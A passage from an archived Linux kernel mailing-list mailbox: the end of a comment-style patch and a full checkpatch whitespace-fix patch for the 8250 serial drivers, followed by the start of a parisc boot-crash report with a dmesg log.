=20
 	serial8250_set_mctrl(port, port->mctrl);
=20
-	/* Serial over Lan (SoL) hack:
-	   Intel 8257x Gigabit ethernet chips have a
-	   16550 emulation, to be used for Serial Over Lan.
-	   Those chips take a longer time than a normal
-	   serial device to signalize that a transmission
-	   data was queued. Due to that, the above test generally
-	   fails. One solution would be to delay the reading of
-	   iir. However, this is not reliable, since the timeout
-	   is variable. So, let's just don't test if we receive
-	   TX irq. This way, we'll never enable UART_BUG_TXEN.
+	/*
+	 * Serial over Lan (SoL) hack:
+	 * Intel 8257x Gigabit ethernet chips have a 16550 emulation, to be u=
sed
+	 * for Serial Over Lan.  Those chips take a longer time than a normal
+	 * serial device to signalize that a transmission data was queued. Du=
e
+	 * to that, the above test generally fails. One solution would be to
+	 * delay the reading of iir. However, this is not reliable, since the
+	 * timeout is variable. So, let's just don't test if we receive TX ir=
q.
+	 * This way, we'll never enable UART_BUG_TXEN.
 	 */
 	if (up->port.flags & UPF_NO_TXEN_TEST)
 		goto dont_test_tx_en;
=20
 	/*
-	 * Do a quick test to see if we receive an
-	 * interrupt when we enable the TX irq.
+	 * Do a quick test to see if we receive an interrupt when we enable t=
he
+	 * TX irq.
 	 */
 	serial_port_out(port, UART_IER, UART_IER_THRI);
 	lsr =3D serial_port_in(port, UART_LSR);
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index 6d7a801..1f34867 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -441,16 +441,20 @@ static int simple_config(struct pcmcia_device *li=
nk)
 	struct serial_info *info =3D link->priv;
 	int i =3D -ENODEV, try;
=20
-	/* First pass: look for a config entry that looks normal.
-	 * Two tries: without IO aliases, then with aliases */
+	/*
+	 * First pass: look for a config entry that looks normal.
+	 * Two tries: without IO aliases, then with aliases
+	 */
 	link->config_flags |=3D CONF_AUTO_SET_VPP;
 	for (try =3D 0; try < 4; try++)
 		if (!pcmcia_loop_config(link, simple_config_check, &try))
 			goto found_port;
=20
-	/* Second pass: try to find an entry that isn't picky about
-	   its base address, then try to grab any standard serial port
-	   address, and finally try to get any free port. */
+	/*
+	 * Second pass: try to find an entry that isn't picky about
+	 * its base address, then try to grab any standard serial port
+	 * address, and finally try to get any free port.
+	 */
 	if (!pcmcia_loop_config(link, simple_config_check_notpicky, NULL))
 		goto found_port;
=20
@@ -480,8 +484,10 @@ static int multi_config_check(struct pcmcia_device=
 *p_dev, void *priv_data)
 	if (p_dev->resource[1]->end)
 		return -EINVAL;
=20
-	/* The quad port cards have bad CIS's, so just look for a
-	   window larger than 8 ports and assume it will be right */
+	/*
+	 * The quad port cards have bad CIS's, so just look for a
+	 * window larger than 8 ports and assume it will be right
+	 */
 	if (p_dev->resource[0]->end <=3D 8)
 		return -EINVAL;
=20
@@ -623,8 +629,10 @@ static int serial_config(struct pcmcia_device *lin=
k)
 			break;
 		}
=20
-	/* Another check for dual-serial cards: look for either serial or
-	   multifunction cards that ask for appropriate IO port ranges */
+	/*
+	 * Another check for dual-serial cards: look for either serial or
+	 * multifunction cards that ask for appropriate IO port ranges
+	 */
 	if ((info->multi =3D=3D 0) &&
 	    (link->has_func_id) &&
 	    (link->socket->pcmcia_pfc =3D=3D 0) &&
--=20
1.9.1



From - Thu Nov 08 21:38:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v4 01/13] tty: serial: 8250: Fix whitespace errors
Date: Fri,  8 Jan 2016 18:43:47 +0100
Lines: 359
Approved: news@gmane.org
Message-ID: <1452275039-18787-2-git-send-email-anton.wuerfel@fau.de>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452275539 871 80.91.229.3 (8 Jan 2016 17:52:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 17:52:19 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	phillip.raffeck@fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 08 18:52:10 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aHbCm-0003FK-Pb
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 Jan 2016 18:52:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755946AbcAHRvz convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 Jan 2016 12:51:55 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:48223 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752181AbcAHRpx (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Jan 2016 12:45:53 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 5D75258C4CE;
	Fri,  8 Jan 2016 18:45:50 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 18:45:50 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2122105 gmane.linux.ports.parisc:26336
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2122105>

This patch fixes whitespace errors reported by checkpatch to increase
readability. Main focus is on missing spaces after commas in
function headers and macros (like foo,bar edited to foo, bar).

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_accent.c        |  2 +-
 drivers/tty/serial/8250/8250_acorn.c         |  2 +-
 drivers/tty/serial/8250/8250_boca.c          |  2 +-
 drivers/tty/serial/8250/8250_exar_st16c554.c |  2 +-
 drivers/tty/serial/8250/8250_fourport.c      |  2 +-
 drivers/tty/serial/8250/8250_hub6.c          |  2 +-
 drivers/tty/serial/8250/8250_pci.c           | 10 +++--
 drivers/tty/serial/8250/8250_port.c          |  2 +
 drivers/tty/serial/8250/serial_cs.c          | 60 ++++++++++++++------=
--------
 9 files changed, 44 insertions(+), 40 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_accent.c b/drivers/tty/serial=
/8250/8250_accent.c
index 34b51c6..c480729 100644
--- a/drivers/tty/serial/8250/8250_accent.c
+++ b/drivers/tty/serial/8250/8250_accent.c
@@ -10,7 +10,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
+#define PORT(_base, _irq)				\
 	{						\
 		.iobase		=3D _base,		\
 		.irq		=3D _irq,			\
diff --git a/drivers/tty/serial/8250/8250_acorn.c b/drivers/tty/serial/=
8250/8250_acorn.c
index 549aa07..402dfdd 100644
--- a/drivers/tty/serial/8250/8250_acorn.c
+++ b/drivers/tty/serial/8250/8250_acorn.c
@@ -70,7 +70,7 @@ serial_card_probe(struct expansion_card *ec, const st=
ruct ecard_id *id)
 	uart.port.regshift	=3D 2;
 	uart.port.dev	=3D &ec->dev;
=20
-	for (i =3D 0; i < info->num_ports; i ++) {
+	for (i =3D 0; i < info->num_ports; i++) {
 		uart.port.membase =3D info->vaddr + type->offset[i];
 		uart.port.mapbase =3D bus_addr + type->offset[i];
=20
diff --git a/drivers/tty/serial/8250/8250_boca.c b/drivers/tty/serial/8=
250/8250_boca.c
index d125dc1..e42a5b5 100644
--- a/drivers/tty/serial/8250/8250_boca.c
+++ b/drivers/tty/serial/8250/8250_boca.c
@@ -10,7 +10,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
+#define PORT(_base, _irq)				\
 	{						\
 		.iobase		=3D _base,		\
 		.irq		=3D _irq,			\
diff --git a/drivers/tty/serial/8250/8250_exar_st16c554.c b/drivers/tty=
/serial/8250/8250_exar_st16c554.c
index bf53aab..999f2d3 100644
--- a/drivers/tty/serial/8250/8250_exar_st16c554.c
+++ b/drivers/tty/serial/8250/8250_exar_st16c554.c
@@ -13,7 +13,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
+#define PORT(_base, _irq)				\
 	{						\
 		.iobase		=3D _base,		\
 		.irq		=3D _irq,			\
diff --git a/drivers/tty/serial/8250/8250_fourport.c b/drivers/tty/seri=
al/8250/8250_fourport.c
index be15826..9a04a8a 100644
--- a/drivers/tty/serial/8250/8250_fourport.c
+++ b/drivers/tty/serial/8250/8250_fourport.c
@@ -10,7 +10,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)						\
+#define PORT(_base, _irq)						\
 	{								\
 		.iobase		=3D _base,				\
 		.irq		=3D _irq,					\
diff --git a/drivers/tty/serial/8250/8250_hub6.c b/drivers/tty/serial/8=
250/8250_hub6.c
index a5c778e..27124e2 100644
--- a/drivers/tty/serial/8250/8250_hub6.c
+++ b/drivers/tty/serial/8250/8250_hub6.c
@@ -10,7 +10,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define HUB6(card,port)							\
+#define HUB6(card, port)						\
 	{								\
 		.iobase		=3D 0x302,				\
 		.irq		=3D 3,					\
diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 4097f3f..ccf43cb 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -850,7 +850,7 @@ static int pci_netmos_init(struct pci_dev *dev)
 			break;
=20
 		default:
-			if (num_serial =3D=3D 0 ) {
+			if (num_serial =3D=3D 0) {
 				moan_device("unknown NetMos/Mostech device", dev);
 			}
 	}
@@ -1198,8 +1198,9 @@ static int pci_quatech_has_qmcr(struct uart_8250_=
port *port)
=20
 static int pci_quatech_test(struct uart_8250_port *port)
 {
-	u8 reg;
-	u8 qopr =3D pci_quatech_rqopr(port);
+	u8 reg, qopr;
+
+	qopr =3D pci_quatech_rqopr(port);
 	pci_quatech_wqopr(port, qopr & QPCR_TEST_FOR1);
 	reg =3D pci_quatech_rqopr(port) & 0xC0;
 	if (reg !=3D QPCR_TEST_GET1)
@@ -1286,6 +1287,7 @@ static int pci_quatech_init(struct pci_dev *dev)
 		unsigned long base =3D pci_resource_start(dev, 0);
 		if (base) {
 			u32 tmp;
+
 			outl(inl(base + 0x38) | 0x00002000, base + 0x38);
 			tmp =3D inl(base + 0x3c);
 			outl(tmp | 0x01000000, base + 0x3c);
@@ -4502,7 +4504,7 @@ static struct pci_device_id serial_pci_tbl[] =3D =
{
 		PCI_ANY_ID, PCI_ANY_ID, 0, 0,
 		pbn_b0_bt_2_921600 },
 	{	PCI_VENDOR_ID_OXSEMI, PCI_DEVICE_ID_OXSEMI_16PCI958,
-		PCI_ANY_ID , PCI_ANY_ID, 0, 0,
+		PCI_ANY_ID, PCI_ANY_ID, 0, 0,
 		pbn_b2_8_1152000 },
=20
 	/*
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 52d82d2..7f3bd7b 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -1327,6 +1327,7 @@ static void serial8250_start_tx(struct uart_port =
*port)
=20
 		if (up->bugs & UART_BUG_TXEN) {
 			unsigned char lsr;
+
 			lsr =3D serial_in(up, UART_LSR);
 			up->lsr_saved_flags |=3D lsr & LSR_SAVE_FLAGS;
 			if (lsr & UART_LSR_THRE)
@@ -1734,6 +1735,7 @@ static void wait_for_xmitr(struct uart_8250_port =
*up, int bits)
 	/* Wait up to 1s for flow control if necessary */
 	if (up->port.flags & UPF_CONS_FLOW) {
 		unsigned int tmout;
+
 		for (tmout =3D 1000000; tmout; tmout--) {
 			unsigned int msr =3D serial_in(up, UART_MSR);
 			up->msr_saved_flags |=3D msr & MSR_SAVE_FLAGS;
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index 4d180c9..6d7a801 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -28,7 +28,7 @@
     and other provisions required by the GPL.  If you do not delete
     the provisions above, a recipient may use your version of this
     file under either the MPL or the GPL.
-   =20
+
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D*/
=20
 #include <linux/module.h>
@@ -257,7 +257,7 @@ static const struct serial_quirk quirks[] =3D {
 };
=20
=20
-static int serial_config(struct pcmcia_device * link);
+static int serial_config(struct pcmcia_device *link);
=20
=20
 static void serial_remove(struct pcmcia_device *link)
@@ -309,7 +309,7 @@ static int serial_probe(struct pcmcia_device *link)
 	dev_dbg(&link->dev, "serial_attach()\n");
=20
 	/* Create new serial device */
-	info =3D kzalloc(sizeof (*info), GFP_KERNEL);
+	info =3D kzalloc(sizeof(*info), GFP_KERNEL);
 	if (!info)
 		return -ENOMEM;
 	info->p_dev =3D link;
@@ -339,7 +339,7 @@ static void serial_detach(struct pcmcia_device *lin=
k)
=20
 /*=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D*/
=20
-static int setup_serial(struct pcmcia_device *handle, struct serial_in=
fo * info,
+static int setup_serial(struct pcmcia_device *handle, struct serial_in=
fo *info,
 			unsigned int iobase, int irq)
 {
 	struct uart_8250_port uart;
@@ -600,7 +600,7 @@ static int serial_check_for_multi(struct pcmcia_dev=
ice *p_dev,  void *priv_data)
 }
=20
=20
-static int serial_config(struct pcmcia_device * link)
+static int serial_config(struct pcmcia_device *link)
 {
 	struct serial_info *info =3D link->priv;
 	int i;
@@ -701,7 +701,7 @@ static const struct pcmcia_device_id serial_ids[] =3D=
 {
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "LINKSYS", "PCMLM336", 0xf7cb0b07, 0x7=
a821b58),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "MEGAHERTZ", "XJEM1144/CCEM1144", 0xf5=
10db04, 0x52d21e1e),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "MICRO RESEARCH", "COMBO-L/M-336", 0xb=
2ced065, 0x3ced0555),
-	PCMCIA_PFC_DEVICE_PROD_ID12(1, "NEC", "PK-UG-J001" ,0x18df0ba0 ,0x831=
b1064),
+	PCMCIA_PFC_DEVICE_PROD_ID12(1, "NEC", "PK-UG-J001", 0x18df0ba0, 0x831=
b1064),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "Ositech", "Trumpcard:Jack of Diamonds=
 Modem+Ethernet", 0xc2f80cd, 0x656947b9),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "Ositech", "Trumpcard:Jack of Hearts M=
odem+Ethernet", 0xc2f80cd, 0xdc9ba5ed),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "PCMCIAs", "ComboCard", 0xdcfe12d3, 0x=
cd8906cc),
@@ -797,30 +797,30 @@ static const struct pcmcia_device_id serial_ids[]=
 =3D {
 	PCMCIA_DEVICE_CIS_PROD_ID123("ADVANTECH", "COMpad-32/85", "1.0", 0x96=
913a85, 0x8fbe92ae, 0x0877b627, "cis/COMpad2.cis"),
 	PCMCIA_DEVICE_CIS_PROD_ID2("RS-COM 2P", 0xad20b156, "cis/RS-COM-2P.ci=
s"),
 	PCMCIA_DEVICE_CIS_MANF_CARD(0x0013, 0x0000, "cis/GLOBETROTTER.cis"),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL100  1.00.",0x19ca78af,0xf964f42b),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL100",0x19ca78af,0x71d98e83),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL232  1.00.",0x19ca78af,0x69fb7490),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL232",0x19ca78af,0xb6bc0235),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.","SERIAL CA=
RD: CF232",0x63f2e0bd,0xb9e175d3),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.","SERIAL CA=
RD: CF232-5",0x63f2e0bd,0xfce33442),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF232",0x3beb8cf2,0x171e=
7190),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF232-5",0x3beb8cf2,0x20=
da4262),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF428",0x3beb8cf2,0xea5d=
d57d),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF500",0x3beb8cf2,0xd772=
55fa),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: IC232",0x3beb8cf2,0x6a70=
9903),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: SL232",0x3beb8cf2,0x1843=
0676),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: XL232",0x3beb8cf2,0x6f93=
3767),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: CF332",0x3beb8cf2,=
0x16dc1ba7),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL332",0x3beb8cf2,=
0x19816c41),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL385",0x3beb8cf2,=
0x64112029),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial+Parallel Port: SP230",0x=
3beb8cf2,0xdb9e58bc),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: CF332",0x3beb8cf2,=
0x16dc1ba7),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL332",0x3beb8cf2,=
0x19816c41),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL385",0x3beb8cf2,=
0x64112029),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(2,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(3,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL100  1.00.", 0x19ca78af, 0xf964f42b),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL100", 0x19ca78af, 0x71d98e83),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL232  1.00.", 0x19ca78af, 0x69fb7490),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL232", 0x19ca78af, 0xb6bc0235),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.", "SERIAL C=
ARD: CF232", 0x63f2e0bd, 0xb9e175d3),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.", "SERIAL C=
ARD: CF232-5", 0x63f2e0bd, 0xfce33442),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF232", 0x3beb8cf2, 0x1=
71e7190),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF232-5", 0x3beb8cf2, 0=
x20da4262),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF428", 0x3beb8cf2, 0xe=
a5dd57d),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF500", 0x3beb8cf2, 0xd=
77255fa),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: IC232", 0x3beb8cf2, 0x6=
a709903),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: SL232", 0x3beb8cf2, 0x1=
8430676),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: XL232", 0x3beb8cf2, 0x6=
f933767),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: CF332", 0x3beb8c=
f2, 0x16dc1ba7),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL332", 0x3beb8c=
f2, 0x19816c41),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL385", 0x3beb8c=
f2, 0x64112029),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial+Parallel Port: SP230",=
 0x3beb8cf2, 0xdb9e58bc),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: CF332", 0x3beb8c=
f2, 0x16dc1ba7),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL332", 0x3beb8c=
f2, 0x19816c41),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL385", 0x3beb8c=
f2, 0x64112029),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(2, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(3, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
 	PCMCIA_DEVICE_MANF_CARD(0x0279, 0x950b),
 	/* too generic */
 	/* PCMCIA_MFC_DEVICE_MANF_CARD(0, 0x0160, 0x0002), */
--=20
1.9.1



From - Thu Nov 08 21:38:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: parisc late boot crash in 4.4-rc, scsi-related
Date: Fri, 8 Jan 2016 22:56:43 +0200 (EET)
Lines: 167
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1601082249420.19024@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1452288493 18253 80.91.229.3 (8 Jan 2016 21:28:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 21:28:13 +0000 (UTC)
To: linux-parisc@vger.kernel.org, linux.block@vger.kernel.org,
	linux-scsi@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 22:28:08 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aHeZr-0000ss-TN
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Jan 2016 22:28:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754594AbcAHV2H (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2016 16:28:07 -0500
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:51023 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752069AbcAHV2F (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2016 16:28:05 -0500
X-Greylist: delayed 1857 seconds by postgrey-1.27 at vger.kernel.org; Fri, 08 Jan 2016 16:28:04 EST
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id 2F8F0215BF;
	Fri,  8 Jan 2016 22:57:04 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 63F1722111E; Fri,  8 Jan 2016 22:56:43 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 43FD6220108;
	Fri,  8 Jan 2016 22:56:43 +0200 (EET)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26337 gmane.linux.scsi:109360
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26337>

I noticed on RP3440 and A500 that recent 4.4-rc* crashes on boot. The 
following is dmesg that was copied piecewise by hand from ILO console 
log (so it can contain some whitespace damage), from 
4.4.0-rc7-00028-gc616920 on RP3440:

SCSI subsystem initialized
NET: Registered protocol family 2
TCP established hash table entries: 131072 (order: 8, 1048576 bytes)
TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
TCP: Hash tables configured (established 131072 bind 65536)
UDP hash table entries: 8192 (order: 6, 262144 bytes)
UDP-Lite hash table entries: 8192 (order: 6, 262144 bytes)
NET: Registered protocol family 1
Chassis warnings not supported.
Performance monitoring counters enabled for Storm Peak Slow
futex hash table entries: 1024 (order: 3, 32768 bytes)
HugeTLB registered 2 MB page size, pre-allocated 0 pages
Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
io scheduler noop registered
io scheduler deadline registered
io scheduler cfq registered (default)
PDC Stable Storage facility v0.30
STI GSC/PCI core graphics driver Version 0.9b
Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
0000:e0:01.0: ttyS0 at MMIO 0xfffffffff4051000 (irq = 27, base_baud = 115200) is a 16450
0000:e0:01.1: ttyS1 at MMIO 0xfffffffff4050000 (irq = 27, base_baud = 115200) is a 16550A
console [ttyS1] enabled
console [ttyS1] enabled
bootconsole [ttyB0] disabled
bootconsole [ttyB0] disabled
0000:e0:01.1: ttyS2 at MMIO 0xfffffffff4050010 (irq = 27, base_baud = 115200) is a 16550A
0000:e0:01.1: ttyS3 at MMIO 0xfffffffff4050038 (irq = 27, base_baud = 115200) is a 16550A
sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 22
sym0: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym0: SCSI BUS has been reset.
